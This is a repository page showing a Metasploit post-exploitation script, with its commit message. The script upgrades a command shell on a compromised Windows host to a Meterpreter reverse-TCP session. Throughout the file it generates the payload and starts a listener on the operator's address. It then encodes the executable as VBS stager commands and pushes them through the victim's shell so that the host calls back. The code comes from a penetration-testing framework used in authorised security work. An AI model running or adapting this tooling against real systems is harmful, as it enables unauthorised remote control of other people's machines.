Files
metasploit-gs/scripts/shell/spawn_meterpreter.rb
T
sinn3r cb33de24e4 [FixRM #8749] - Make spawn_meterpreter respect lport/lhost options
[FixRM #8749] Basically the spawn_meterpreter script doesn't
actually allow the user to set their own LHOST/LPORT datastore
options, because they come from the session object, not from the
active module or the framework object.

The fix is to allow the user to config them from framework. But
if they forget to do this (because naturally people probably
assume that active module datastore options are the same as the
ones set in framework), then for LHOST, we default whatever we get
from Rex::Socket.source_address. As for LPORT, we'll pick a one
that's not used by any of the sessions.
2014-01-23 22:40:34 -06:00

178 lines
4.3 KiB
Ruby

#
# Spawn a meterpreter session using an existing command shell session
#
# NOTE: Some of the following code is duplicated from the VBS CmdStager
#
# This is really only to prove the concept for now.
#
# -jduck
#
#
# Show the progress of the upload
#
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
end
#
# Returns if a port is used by a session
#
def is_port_used?(port)
framework.sessions.each do |sid, obj|
local_info = obj.instance_variable_get(:@local_info)
return true if local_info =~ /:#{port}$/
end
false
end
#
# Mimics what MSF alreayd does if the user doesn't manually select a payload and lhost
#
lhost = framework.datastore['LHOST']
unless lhost
lhost = Rex::Socket.source_address('50.50.50.50')
end
#
# If there is no LPORT defined in framework, then pick a random one that's not used
# by current sessions. This is possible if the user assumes module datastore options
# are the same as framework datastore options.
#
lport = framework.datastore['LPORT']
unless lport
lport = 4444 # Default meterpreter port
while is_port_used?(lport)
# Pick a port that's not used
lport = [*49152..65535].sample
end
end
# maybe we want our sessions going to another instance?
use_handler = true
use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true)
# Process special var/val pairs...
# XXX: Not supported yet...
#Msf::Ui::Common.process_cli_arguments($framework, ARGV)
# Create the payload instance
payload_name = 'windows/meterpreter/reverse_tcp'
payload = framework.payloads.create(payload_name)
options = "LHOST=#{lhost} LPORT=#{lport}"
buf = payload.generate_simple('OptionStr' => options)
#
# Spawn the handler if needed
#
aborted = false
begin
mh = nil
if (use_handler)
mh = framework.modules.create("exploit/multi/handler")
mh.datastore['LPORT'] = lport
mh.datastore['LHOST'] = lhost
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['ExitOnSession'] = false
mh.datastore['EXITFUNC'] = 'process'
mh.exploit_simple(
'LocalInput' => session.user_input,
'LocalOutput' => session.user_output,
'Payload' => payload_name,
'RunAsJob' => true)
# It takes a little time for the resources to get set up, so sleep for
# a bit to make sure the exploit is fully working. Without this,
# mod.get_resource doesn't exist when we need it.
select(nil, nil, nil, 0.5)
if framework.jobs[mh.job_id.to_s].nil?
raise RuntimeError, "Failed to start multi/handler - is it already running?"
end
end
#
# Make the payload into an exe for the CmdStager
#
lplat = [Msf::Platform::Windows]
larch = [ARCH_X86]
linemax = 1700
if (session.exploit_datastore['LineMax'])
linemax = session.exploit_datastore['LineMax'].to_i
end
opts = {
:linemax => linemax,
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"),
#:nodelete => true # keep temp files (for debugging)
}
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf)
#
# Generate the stager command array
#
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
cmds = cmdstager.generate(opts)
if (cmds.nil? or cmds.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
#
# Calculate the total size
#
total_bytes = 0
cmds.each { |cmd| total_bytes += cmd.length }
#
# Run the commands one at a time
#
sent = 0
cmds.each { |cmd|
ret = session.shell_command_token_win32(cmd)
if (not ret)
aborted = true
else
ret.strip!
if (not ret.empty?)
aborted = true
end
end
if aborted
print_error("Error: Unable to execute the following command:")
print_error(cmd.inspect)
print_error('Output: ' + ret.inspect) if ret and not ret.empty?
break
end
sent += cmd.length
progress(total_bytes, sent)
}
rescue ::Interrupt
# TODO: cleanup partial uploads!
aborted = true
rescue => e
print_error("Error: #{e}")
aborted = true
end
#
# Stop the job
#
if (use_handler)
Thread.new do
if not aborted
# Wait up to 10 seconds for the session to come in..
select(nil, nil, nil, 10)
end
framework.jobs.stop_job(mh.job_id)
end
end